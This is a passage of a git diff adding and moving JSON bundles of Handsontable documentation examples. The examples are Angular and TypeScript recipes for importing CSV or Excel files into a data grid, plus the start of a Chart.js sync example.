workbook.SheetNames[0];\n if (!sheetName) {\n throw new Error('The workbook has no sheets.');\n }\n const sheet = workbook.Sheets[sheetName];\n const matrix = XLSX.utils.sheet_to_json(sheet, { header: 1, defval: null, raw: true });\n if (!matrix.length) {\n throw new Error('The sheet is empty.');\n }\n const rawHeader = (matrix[0] as unknown[]).map((cell) => String(cell ?? '').trim());\n if (rawHeader.length === 0 || rawHeader.every((h) => h === '')) {\n throw new Error('No header row found in the Excel sheet.');\n }\n const keys = rawHeader.map((h, i) => (h === '' ? `Column ${i + 1}` : h));\n const rows: Record[] = [];\n for (let r = 1; r < matrix.length; r++) {\n const line = matrix[r] as unknown[];\n const allEmpty = !line || (line as unknown[]).every((c) => normalizeCellValue(c) === null);\n if (allEmpty) {\n continue;\n }\n const obj: Record = {};\n for (let c = 0; c < keys.length; c++) {\n obj[keys[c]] = normalizeCellValue(line[c]);\n }\n rows.push(obj);\n }\n if (rows.length === 0) {\n throw new Error('No data rows after the header.');\n }\n return { headers: keys, rows };\n}\n\nasync function parseFile(file: File): Promise {\n const ext = extensionOf(file.name);\n if (ext === 'csv') {\n return parseCsvFile(file);\n }\n if (ext === 'xlsx') {\n return parseXlsxFile(file);\n }\n throw new Error('Unsupported file type. Use a .csv or .xlsx file.');\n}\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-import-csv-excel',\n template: `\n
    \n \n

    Drop a .csv or .xlsx file here, or pick a source.

    \n
    \n \n \n
    \n
    \n\n @if (errorMessage) {\n
    {{ errorMessage }}
    \n }\n\n @if (gridData.length === 0) {\n
    \n \n \n \n \n \n \n

    No data loaded yet

    \n

    \n Drop a CSV or Excel file above, choose a file, or load the sample data to populate the table.\n

    \n
    \n } @else {\n \n }\n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n isDragOver = false;\n errorMessage = '';\n gridData: Record[] = [];\n\n private readonly SAMPLE_CSV = `Product,Category,In stock,Price\nWidget A,Hardware,true,19.99\nWidget B,Hardware,false,24.5\nService Pack,Services,true,0`;\n\n gridSettings: GridSettings = {\n colHeaders: [],\n columns: [],\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n };\n\n onDragOver(event: DragEvent): void {\n event.preventDefault();\n this.isDragOver = true;\n }\n\n onDragLeave(): void {\n this.isDragOver = false;\n }\n\n onDrop(event: DragEvent): void {\n event.preventDefault();\n this.isDragOver = false;\n const file = event.dataTransfer?.files?.[0];\n if (file) {\n this.handleFile(file);\n }\n }\n\n onFileChange(event: Event): void {\n const input = event.target as HTMLInputElement;\n const file = input.files?.[0];\n if (file) {\n this.handleFile(file);\n }\n input.value = '';\n }\n\n async loadSampleData(): Promise {\n this.errorMessage = '';\n try {\n const payload = parseCsvText(this.SAMPLE_CSV);\n this.loadIntoGrid(payload);\n } catch (e) {\n this.errorMessage = e instanceof Error ? e.message : String(e);\n }\n }\n\n private async handleFile(file: File): Promise {\n this.errorMessage = '';\n if (file.size === 0) {\n this.errorMessage = 'The file is empty.';\n return;\n }\n try {\n const payload = await parseFile(file);\n this.loadIntoGrid(payload);\n } catch (e) {\n this.errorMessage = e instanceof Error ? e.message : String(e);\n }\n }\n\n private loadIntoGrid(payload: ParsedPayload): void {\n const { headers, rows } = payload;\n this.gridSettings = {\n ...this.gridSettings,\n colHeaders: headers,\n columns: this.columnsFromHeaders(headers, rows),\n };\n this.gridData = [...rows];\n }\n\n private columnsFromHeaders(headers: string[], rows: Record[]): GridSettings['columns'] {\n return headers.map((data) => {\n const values = rows\n .map((row) => row[data])\n .filter((v) => v !== null);\n if (values.length > 0 && values.every((v) => typeof v === 'number')) {\n return { data, type: 'numeric' };\n }\n if (values.length > 0 && values.every((v) => typeof v === 'boolean')) {\n return { data, type: 'checkbox' };\n }\n return { data, type: 'text' };\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};","/src/styles.css":".import-csv-excel-wrap {\n display: flex;\n flex-direction: column;\n margin: 0 -1rem;\n}\n\n.import-dropzone {\n padding: 1.5rem 1rem;\n text-align: center;\n border: 0;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n background: transparent;\n color: var(--sl-color-gray-2, #555555);\n font-size: var(--sl-text-xs, 0.75rem);\n transition: background 0.15s ease;\n cursor: pointer;\n}\n\n.import-dropzone p {\n margin: 0 0 0.75rem;\n}\n\n.import-dropzone.import-dropzone--active {\n background: var(--sl-color-gray-6, #eeeeee);\n}\n\n.import-actions {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n}\n\n.import-file-label {\n display: inline-block;\n cursor: pointer;\n}\n\n.import-file-label span,\n.import-sample-btn {\n display: inline-flex;\n align-items: center;\n padding: 0.375rem 0.75rem;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n background: var(--sl-color-gray-6, #eeeeee);\n color: var(--sl-color-gray-2, #555555);\n font-family: var(--sl-font, Inter, system-ui, -apple-system, sans-serif);\n font-size: var(--sl-text-xs, 0.75rem);\n font-weight: 500;\n line-height: 1.4;\n cursor: pointer;\n transition: background-color 0.15s, color 0.15s, border-color 0.15s;\n}\n\n.import-file-label:hover span,\n.import-sample-btn:hover {\n background: var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-white, #333333);\n}\n\n.import-file-label input {\n position: absolute;\n width: 1px;\n height: 1px;\n opacity: 0;\n pointer-events: none;\n}\n\n.import-msg {\n margin: 0;\n padding: 0.75rem 1rem;\n border-radius: 0;\n font-size: var(--sl-text-xs, 0.75rem);\n}\n\n.import-msg--error {\n border-bottom: 1px solid var(--sl-color-red, #ef4444);\n background: var(--sl-color-red-low, rgba(239, 68, 68, 0.12));\n color: var(--sl-color-red, #ef4444);\n}\n\n.import-empty {\n display: flex;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n gap: 0.5rem;\n padding: 2.5rem 1rem;\n min-height: 200px;\n color: var(--sl-color-gray-2, #555555);\n text-align: center;\n}\n\n.import-empty-icon {\n display: inline-flex;\n align-items: center;\n justify-content: center;\n width: 40px;\n height: 40px;\n margin-bottom: 0.25rem;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-gray-3, #777777);\n}\n\n.import-empty-title {\n margin: 0;\n color: var(--sl-color-white, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n font-weight: 600;\n}\n\n.import-empty-text {\n margin: 0;\n max-width: 38ch;\n font-size: var(--sl-text-xs, 0.75rem);\n line-height: 1.5;\n}"},"docsPath":"recipes/import-export/import-csv-excel/angular/example1.ts","breadcrumb":["Recipes","Import Export","Import from CSV or Excel"],"guide":"recipes/import-export/import-csv-excel/import-csv-excel.md","guideTitle":"Import from CSV or Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/import-export/import-csv-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__import-export__import-csv-excel__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__import-export__import-csv-excel__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__javascript__example1.ts.json new file mode 100644 index 00000000..41789e83 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Import Export ▸ Import from CSV or Excel · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"papaparse\": \"5.5.4\",\n \"xlsx\": \"0.18.5\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n

    Drop a .csv or .xlsx file here, or pick a source.

    \n
    \n \n \n
    \n
    \n \n \n \n
    \n \n \n \n \n \n \n

    No data loaded yet

    \n

    Drop a CSV or Excel file above, choose a file, or load the sample data to populate the table.

    \n
    \n \n \n \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { GridSettings } from 'handsontable/settings';\nimport Papa from 'papaparse';\nimport * as XLSX from 'xlsx';\n\nregisterAllModules();\n\ntype ParsedPayload = {\n headers: string[];\n rows: Record[];\n};\n\ntype ParsedCellValue = string | number | boolean | null;\ntype ParsedRow = Record;\n\nconst CDN_PAPAPARSE = 'https://cdn.jsdelivr.net/npm/papaparse@5.5.3/papaparse.min.js';\nconst CDN_XLSX = 'https://cdn.jsdelivr.net/npm/xlsx@0.18.5/dist/xlsx.full.min.js';\n\ndeclare global {\n interface Window {\n Papa?: typeof Papa;\n XLSX?: typeof XLSX;\n }\n}\n\nconst scriptPromises = new Map>();\n\nfunction loadScript(src: string): Promise {\n const cached = scriptPromises.get(src);\n\n if (cached) {\n return cached;\n }\n\n const p = new Promise((resolve, reject) => {\n const existing = document.querySelector(`script[data-cdn=\"${src}\"]`);\n\n if (existing) {\n existing.addEventListener('load', () => resolve(), { once: true });\n existing.addEventListener(\n 'error',\n () => reject(new Error(`Failed to load ${src}`)),\n { once: true },\n );\n if (existing.getAttribute('data-loaded') === '1') {\n resolve();\n }\n\n return;\n }\n\n const s = document.createElement('script');\n\n s.src = src;\n s.async = true;\n s.dataset.cdn = src;\n s.onload = () => {\n s.setAttribute('data-loaded', '1');\n resolve();\n };\n s.onerror = () => reject(new Error(`Failed to load ${src}`));\n document.head.appendChild(s);\n });\n\n scriptPromises.set(src, p);\n\n return p;\n}\n\nasync function ensurePapa(): Promise {\n if (typeof window.Papa !== 'undefined') {\n return window.Papa;\n }\n\n await loadScript(CDN_PAPAPARSE);\n\n if (typeof window.Papa === 'undefined') {\n throw new Error('PapaParse did not register on window.');\n }\n\n return window.Papa;\n}\n\nasync function ensureXlsx(): Promise {\n if (typeof window.XLSX !== 'undefined') {\n return window.XLSX;\n }\n\n await loadScript(CDN_XLSX);\n\n if (typeof window.XLSX === 'undefined') {\n throw new Error('SheetJS did not register on window.');\n }\n\n return window.XLSX;\n}\n\nfunction extensionOf(name: string): string {\n const i = name.lastIndexOf('.');\n\n return i >= 0 ? name.slice(i + 1).toLowerCase() : '';\n}\n\nfunction showError(el: HTMLElement | null, message: string): void {\n if (!el) {\n return;\n }\n\n el.textContent = message;\n el.hidden = false;\n}\n\nfunction clearError(el: HTMLElement | null): void {\n if (!el) {\n return;\n }\n\n el.textContent = '';\n el.hidden = true;\n}\n\nfunction normalizeCellValue(value: unknown): ParsedCellValue {\n if (value === null || value === undefined) {\n return null;\n }\n\n if (typeof value === 'number' || typeof value === 'boolean') {\n return value;\n }\n\n const text = String(value).trim();\n\n return text === '' ? null : text;\n}\n\nfunction mapRowByHeaders(row: Record, headers: string[]): ParsedRow {\n const out: ParsedRow = {};\n\n for (const key of headers) {\n out[key] = normalizeCellValue(row[key]);\n }\n\n return out;\n}\n\nfunction processPapaResults(results: Papa.ParseResult>): ParsedPayload {\n if (results.errors.length > 0) {\n throw new Error(results.errors[0].message || 'CSV parse error.');\n }\n\n const fields = results.meta.fields?.filter((f) => f !== undefined && f !== '') ?? [];\n\n if (fields.length === 0) {\n throw new Error('No header row found in the CSV.');\n }\n\n const rows = (results.data as Record[]).map((row) => mapRowByHeaders(row, fields));\n\n if (rows.length === 0) {\n throw new Error('No data rows after the header.');\n }\n\n return { headers: fields, rows };\n}\n\nfunction parseCsvText(text: string, PapaRef: typeof Papa): ParsedPayload {\n const trimmed = text.trim();\n\n if (!trimmed) {\n throw new Error('The file is empty.');\n }\n\n const parsed = PapaRef.parse>(trimmed, {\n header: true,\n dynamicTyping: true,\n skipEmptyLines: 'greedy',\n transformHeader: (h) => h.trim(),\n });\n\n return processPapaResults(parsed);\n}\n\nasync function parseCsvFile(file: File, PapaRef: typeof Papa): Promise {\n return new Promise((resolve, reject) => {\n PapaRef.parse>(file, {\n header: true,\n dynamicTyping: true,\n skipEmptyLines: 'greedy',\n transformHeader: (h) => h.trim(),\n complete: (results) => {\n try {\n resolve(processPapaResults(results));\n } catch (e) {\n reject(e instanceof Error ? e : new Error(String(e)));\n }\n },\n error: (err) => reject(err instanceof Error ? err : new Error(String(err))),\n });\n });\n}\n\nfunction parseXlsxArrayBuffer(buf: ArrayBuffer, XLSXRef: typeof XLSX): ParsedPayload {\n let workbook: XLSX.WorkBook;\n\n try {\n workbook = XLSXRef.read(buf, { type: 'array' });\n } catch {\n throw new Error('Could not read the Excel workbook. The file may be corrupted.');\n }\n\n const sheetName = workbook.SheetNames[0];\n\n if (!sheetName) {\n throw new Error('The workbook has no sheets.');\n }\n\n const sheet = workbook.Sheets[sheetName];\n const matrix = XLSXRef.utils.sheet_to_json(sheet, {\n header: 1,\n defval: null,\n raw: true,\n }) as unknown[][];\n\n if (!matrix.length) {\n throw new Error('The sheet is empty.');\n }\n\n const rawHeader = matrix[0].map((cell) => String(cell ?? '').trim());\n\n if (rawHeader.length === 0 || rawHeader.every((h) => h === '')) {\n throw new Error('No header row found in the Excel sheet.');\n }\n\n const keys = rawHeader.map((h, i) => (h === '' ? `Column ${i + 1}` : h));\n\n const rows: Record[] = [];\n\n for (let r = 1; r < matrix.length; r++) {\n const line = matrix[r];\n const allEmpty = !line || line.every((c) => normalizeCellValue(c) === null);\n\n if (allEmpty) {\n continue;\n }\n\n const obj: ParsedRow = {};\n\n for (let c = 0; c < keys.length; c++) {\n const key = keys[c];\n const raw = line[c];\n\n obj[key] = normalizeCellValue(raw);\n }\n\n rows.push(obj);\n }\n\n if (rows.length === 0) {\n throw new Error('No data rows after the header.');\n }\n\n return { headers: keys, rows };\n}\n\nasync function parseFile(file: File): Promise {\n const ext = extensionOf(file.name);\n\n if (ext === 'csv') {\n const PapaRef = await ensurePapa();\n\n return parseCsvFile(file, PapaRef);\n }\n\n if (ext === 'xlsx') {\n const XLSXRef = await ensureXlsx();\n const buf = await file.arrayBuffer();\n\n return parseXlsxArrayBuffer(buf, XLSXRef);\n }\n\n throw new Error('Unsupported file type. Use a .csv or .xlsx file.');\n}\n\nconst SAMPLE_CSV = `Product,Category,In stock,Price\nWidget A,Hardware,true,19.99\nWidget B,Hardware,false,24.5\nService Pack,Services,true,0`;\n\nfunction columnsFromHeaders(headers: string[], rows: ParsedRow[]): GridSettings['columns'] {\n return headers.map((data) => {\n const values = rows\n .map((row) => row[data])\n .filter((v): v is string | number | boolean => v !== null);\n\n if (values.length > 0 && values.every((v) => typeof v === 'number')) {\n return { data, type: 'numeric' as const };\n }\n\n if (values.length > 0 && values.every((v) => typeof v === 'boolean')) {\n return { data, type: 'checkbox' as const };\n }\n\n return { data, type: 'text' as const };\n });\n}\n\nconst gridContainer = document.querySelector('#example1')!;\nconst emptyEl = document.querySelector('#import-empty');\nconst errEl = document.querySelector('#import-error');\nconst fileInput = document.querySelector('#import-file');\nconst dropzone = document.querySelector('#import-dropzone');\nconst sampleBtn = document.querySelector('#import-load-sample');\n\nlet hot: Handsontable | null = null;\n\nfunction loadIntoGrid({ headers, rows }: ParsedPayload): void {\n const columns = columnsFromHeaders(headers, rows);\n\n if (!hot) {\n if (emptyEl) {\n emptyEl.hidden = true;\n }\n gridContainer.hidden = false;\n hot = new Handsontable(gridContainer, {\n data: rows,\n columns,\n colHeaders: headers,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n licenseKey: 'non-commercial-and-evaluation',\n });\n } else {\n hot.updateSettings({ colHeaders: headers, columns });\n hot.loadData(rows);\n }\n}\n\nasync function handleFile(file: File | null | undefined): Promise {\n clearError(errEl);\n\n if (!file) {\n return;\n }\n\n if (file.size === 0) {\n showError(errEl, 'The file is empty.');\n\n return;\n }\n\n try {\n const payload = await parseFile(file);\n\n loadIntoGrid(payload);\n } catch (e) {\n showError(errEl, e instanceof Error ? e.message : String(e));\n }\n}\n\nfileInput?.addEventListener('change', () => {\n const f = fileInput.files?.[0];\n\n handleFile(f);\n fileInput.value = '';\n});\n\ndropzone?.addEventListener('dragover', (ev) => {\n ev.preventDefault();\n dropzone.classList.add('import-dropzone--active');\n});\n\ndropzone?.addEventListener('dragleave', () => {\n dropzone.classList.remove('import-dropzone--active');\n});\n\ndropzone?.addEventListener('drop', (ev) => {\n ev.preventDefault();\n dropzone.classList.remove('import-dropzone--active');\n const f = ev.dataTransfer?.files?.[0];\n\n handleFile(f);\n});\n\nsampleBtn?.addEventListener('click', async () => {\n clearError(errEl);\n\n try {\n const PapaRef = await ensurePapa();\n const payload = parseCsvText(SAMPLE_CSV, PapaRef);\n\n loadIntoGrid(payload);\n } catch (e) {\n showError(errEl, e instanceof Error ? e.message : String(e));\n }\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".import-csv-excel-wrap {\n display: flex;\n flex-direction: column;\n margin: 0 -1rem;\n}\n\n.import-dropzone {\n padding: 1.5rem 1rem;\n text-align: center;\n border: 0;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n background: transparent;\n color: var(--sl-color-gray-2, #555555);\n font-size: var(--sl-text-xs, 0.75rem);\n transition: background 0.15s ease;\n}\n\n.import-dropzone p {\n margin: 0 0 0.75rem;\n}\n\n.import-dropzone.import-dropzone--active {\n background: var(--sl-color-gray-6, #eeeeee);\n}\n\n.import-actions {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n}\n\n.import-file-label {\n display: inline-block;\n cursor: pointer;\n}\n\n.import-file-label span,\n.import-sample-btn {\n display: inline-flex;\n align-items: center;\n padding: 0.375rem 0.75rem;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n background: var(--sl-color-gray-6, #eeeeee);\n color: var(--sl-color-gray-2, #555555);\n font-family: var(--sl-font, Inter, system-ui, -apple-system, sans-serif);\n font-size: var(--sl-text-xs, 0.75rem);\n font-weight: 500;\n line-height: 1.4;\n cursor: pointer;\n transition: background-color 0.15s, color 0.15s, border-color 0.15s;\n}\n\n.import-file-label:hover span,\n.import-sample-btn:hover {\n background: var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-white, #333333);\n}\n\n.import-file-label input {\n position: absolute;\n width: 1px;\n height: 1px;\n opacity: 0;\n pointer-events: none;\n}\n\n.import-msg {\n margin: 0;\n padding: 0.75rem 1rem;\n border-radius: 0;\n font-size: var(--sl-text-xs, 0.75rem);\n}\n\n.import-msg--error {\n border-bottom: 1px solid var(--sl-color-red, #ef4444);\n background: var(--sl-color-red-low, rgba(239, 68, 68, 0.12));\n color: var(--sl-color-red, #ef4444);\n}\n\n.import-empty {\n display: flex;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n gap: 0.5rem;\n padding: 2.5rem 1rem;\n min-height: 200px;\n color: var(--sl-color-gray-2, #555555);\n text-align: center;\n}\n\n.import-empty[hidden] {\n display: none;\n}\n\n.import-empty-icon {\n display: inline-flex;\n align-items: center;\n justify-content: center;\n width: 40px;\n height: 40px;\n margin-bottom: 0.25rem;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-gray-3, #777777);\n}\n\n.import-empty-title {\n margin: 0;\n color: var(--sl-color-white, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n font-weight: 600;\n}\n\n.import-empty-text {\n margin: 0;\n max-width: 38ch;\n font-size: var(--sl-text-xs, 0.75rem);\n line-height: 1.5;\n}\n\n#example1 {\n padding: 1rem;\n min-height: 180px;\n}\n\n#example1[hidden] {\n display: none;\n}"},"docsPath":"recipes/import-export/import-csv-excel/javascript/example1.ts","breadcrumb":["Recipes","Import Export","Import from CSV or Excel"],"guide":"recipes/import-export/import-csv-excel/import-csv-excel.md","guideTitle":"Import from CSV or Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/import-export/import-csv-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__import-export__import-csv-excel__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__import-export__import-csv-excel__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__performance__lazy-loading__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__performance__lazy-loading__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__performance__lazy-loading__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__performance__lazy-loading__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__performance__lazy-loading__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__performance__lazy-loading__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__performance__lazy-loading__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__performance__lazy-loading__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__performance__lazy-loading__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__performance__lazy-loading__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__performance__lazy-loading__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__performance__lazy-loading__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__performance__persist-column-layout__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__performance__persist-column-layout__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__performance__persist-column-layout__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__performance__persist-column-layout__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__performance__persist-column-layout__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__performance__persist-column-layout__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__performance__persist-column-layout__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__performance__persist-column-layout__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__performance__persist-column-layout__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__performance__persist-column-layout__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__performance__persist-column-layout__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__performance__persist-column-layout__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__angular__example1.ts.json new file mode 100644 index 00000000..cff0ef08 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__real-time__chartjs-sync__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Real Time ▸ Sync rows to a Chart.js chart · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"chart.js\": \"4.5.1\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ElementRef, AfterViewInit, OnDestroy } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\nimport { Chart, registerables, ChartConfiguration } from 'chart.js';\n\nChart.register(...registerables);\n\n/* start:skip-in-preview */\nconst data = [\n { campaign: 'Spring Sale 2025', q1Budget: 12000, q1Revenue: 34500, q2Budget: 15000, q2Revenue: 41200 },\n { campaign: 'Brand Awareness Q1', q1Budget: 8000, q1Revenue: 11300, q2Budget: 9500, q2Revenue: 13800 },\n { campaign: 'Summer Promo', q1Budget: 5000, q1Revenue: 6200, q2Budget: 18000, q2Revenue: 52400 },\n { campaign: 'Email Retargeting', q1Budget: 3500, q1Revenue: 9800, q2Budget: 4200, q2Revenue: 11600 },\n { campaign: 'Influencer Campaign', q1Budget: 20000, q1Revenue: 38700, q2Budget: 22000, q2Revenue: 44100 },\n { campaign: 'SEO Push Q2', q1Budget: 6000, q1Revenue: 7400, q2Budget: 9000, q2Revenue: 21300 },\n { campaign: 'Holiday Countdown', q1Budget: 4500, q1Revenue: 5100, q2Budget: 25000, q2Revenue: 68900 },\n { campaign: 'Brand Awareness Q3', q1Budget: 11000, q1Revenue: 16800, q2Budget: 13500, q2Revenue: 19400 },\n];\n/* end:skip-in-preview */\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-chartjs-sync',\n styles: [`\n #chart-canvas {\n 